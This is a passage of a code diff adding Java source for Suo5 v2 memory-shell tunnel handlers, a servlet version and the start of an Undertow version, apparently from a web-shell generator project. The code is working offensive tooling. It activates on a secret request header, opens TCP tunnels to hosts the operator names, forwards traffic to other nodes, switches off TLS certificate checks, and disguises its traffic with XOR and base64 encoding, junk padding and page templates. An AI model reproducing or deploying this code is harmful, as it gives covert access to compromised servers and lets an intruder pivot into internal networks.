(dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Struct2Action(tunId, 1)).start(); + new Thread(new Suo5v2Struct2Action(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java new file mode 100644 index 00000000..d52d6049 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java @@ -0,0 +1,1174 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.http.HttpServletRequest; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2UndertowServletHandler() { + } + + public Suo5v2UndertowServletHandler(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2UndertowServletHandler(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + new Suo5v2UndertowServletHandler().process(request, response); + return true; + } + } catch (Throwable ignored) { + } + return false; + } + + private void process(Object request, Object response) { + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(request, response, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(response); + processFullStream(request, response, dataMap, tunId); + break; + case 0x02: + setBypassHeader(response); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + response.getClass().getMethod("setStatus", int.class).invoke(response, 403); + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); + do { + processHalfStream(request, response, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(response, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(response, new String(sidData))); + + do { + processClassic(request, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); + writeAndFlush(response, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(Object resp) throws Exception { + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(Object resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + 